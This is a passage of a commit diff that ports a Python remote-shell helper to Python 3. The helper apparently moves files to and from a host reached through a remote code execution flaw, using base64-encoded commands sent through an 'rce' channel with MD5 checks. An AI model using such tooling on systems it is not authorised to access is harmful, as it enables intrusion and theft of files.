17
17
# If you omit the remote_path it uploads the file on the current working folder.
18
18
#
19
19
# To download a file: DOWNLOAD remote_path
20
- # e.g. $ DOWNLOAD \ temp\ myfile.txt
20
+ # e.g. $ DOWNLOAD / temp/ myfile.txt
21
21
22
22
23
- import os
23
+ import os
24
24
import re
25
25
import sys
26
26
import uuid
@@ -113,15 +113,15 @@ def download(rce, remote_path):
113
113
remote_md5sum = response .strip ()[:32 ]
114
114
cmd = "cat '" + remote_path + "' | " + find_tool ("b64enc" )
115
115
b64content = send_command (cmd , rce , enclose = True )
116
- content = base64 .decodestring (b64content )
116
+ content = base64 .b64decode (b64content )
117
117
local_md5sum = hashlib .md5 (content ).hexdigest ()
118
118
print ("Remote md5sum: " + remote_md5sum )
119
119
print (" Local md5sum: " + local_md5sum )
120
120
if local_md5sum == remote_md5sum :
121
121
print (" MD5 hashes match!" )
122
122
else :
123
123
print (" ERROR! MD5 hashes do NOT match!" )
124
- with open (os .path .basename (remote_path ), "w " ) as f :
124
+ with open (os .path .basename (remote_path ), "wb " ) as f :
125
125
f .write (content )
126
126
127
127
@@ -136,7 +136,7 @@ def upload(rce, local_path, remote_path):
136
136
with open (local_path , 'rb' ) as f :
137
137
data = f .read ()
138
138
md5sum = hashlib .md5 (data ).hexdigest ()
139
- b64enc_data = "" . join ( base64 .encodestring (data ).split () )
139
+ b64enc_data = base64 .b64encode (data ).decode ( 'ascii' )
140
140
141
141
print ("Data length (b64-encoded): " + str (len (b64enc_data )/ 1024 )+ "KB" )
142
142
for i in tqdm .tqdm (range (0 , len (b64enc_data ), BUFFER_SIZE ), unit_scale = BUFFER_SIZE / 1024 , unit = "KB" ):
0 commit comments